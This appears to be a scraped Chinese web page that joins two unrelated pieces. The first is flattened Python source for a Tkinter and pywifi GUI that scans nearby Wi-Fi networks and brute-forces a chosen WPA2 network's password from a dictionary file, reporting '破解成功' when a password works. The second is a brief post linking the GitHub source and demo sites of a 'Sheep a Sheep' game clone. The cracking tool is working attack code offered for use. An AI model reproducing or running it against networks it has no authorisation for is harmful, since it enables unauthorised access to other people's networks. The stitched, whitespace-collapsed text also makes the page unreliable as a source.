扫描周围wifi列表 #开始扫描 print("^_^ 开始扫描附近wifi...") self.iface.scan() time.sleep(1.5) #在若干秒后获取扫描结果 scanres = self.iface.scan_results() #统计附近被发现的热点数量 nums = len(scanres) print("数量: %s"%(nums)) #print ("| %s | %s | %s | %s"%("WIFIID","SSID","BSSID","signal")) # 实际数据 self.show_scans_wifi_list(scanres) return scanres #显示wifi列表 def show_scans_wifi_list(self,scans_res): for index,wifi_info in enumerate(scans_res): # print("%-*s| %s | %*s |%*s\n"%(20,index,wifi_info.ssid,wifi_info.bssid,,wifi_info.signal)) self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) #print("| %s | %s | %s | %s \n"%(index,wifi_info.ssid,wifi_info.bssid,wifi_info.signal)) #添加密码文件目录 def add_mm_file(self): self.filename = tkinter.filedialog.askopenfilename() self.get_value.set(self.filename) #Treeview绑定事件 def onDBClick(self,event): self.sels= event.widget.selection() self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1]) #print("you clicked on",self.wifi_tree.item(self.sels,"values")[1]) #读取密码字典,进行匹配 def readPassWord(self): self.getFilePath = 'D:\Pycharm\pwd.txt' self.get_wifissid = self.get_wifi_value.get() pwdfilehander=open(self.getFilePath,"r",errors="ignore") i = 0 while True: try: i=i+1 self.pwdStr=pwdfilehander.readline() if not self.pwdStr: break self.bool1=self.connect(self.pwdStr,self.get_wifissid) if self.bool1: self.res = "===正确=== wifi名:%s 匹配第%s密码:%s "%(self.get_wifissid,i,self.pwdStr) self.get_wifimm_value.set(self.pwdStr) tkinter.messagebox.showinfo('提示', '破解成功!!!') print(self.res) break else: self.res = "!错误! wifi名:%s匹配第%s密码:%s"%(self.get_wifissid,i,self.pwdStr) print(self.res) #sleep(1) except: continue #对wifi和密码进行匹配 def connect(self,pwd_Str,wifi_ssid): #创建wifi链接文件 self.profile = pywifi.Profile() self.profile.ssid =wifi_ssid #wifi名称 self.profile.auth = const.AUTH_ALG_OPEN #网卡的开放 self.profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法 self.profile.cipher = const.CIPHER_TYPE_CCMP #加密单元 self.profile.key = pwd_Str #密码 self.iface.remove_all_network_profiles() #删除所有的wifi文件 self.tmp_profile = self.iface.add_network_profile(self.profile)#设定新的链接文件 self.iface.connect(self.tmp_profile)#链接 time.sleep(3)#3秒内能否连接上 if self.iface.status() == const.IFACE_CONNECTED: #判断是否连接上 isOK=True else: isOK=False self.iface.disconnect() #断开 #time.sleep(1) #检查断开状态 assert self.iface.status() in\ [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] return isOKdef gui_start(): init_window = Tk() ui = MY_GUI(init_window) print(ui) ui.set_init_window() #ui.scans_wifi_list() init_window.mainloop()gui_start()

仿羊了个样Github源码及演示地址

个人觉得打发时间玩玩还是挺不错的,无限道具,可选关卡。源码:https://github.com/StreakingMan/solvable-sheep-game演示地址:http://xkai.cc/http://92kj.cn/emo/

仿羊了个样Github源码及演示地址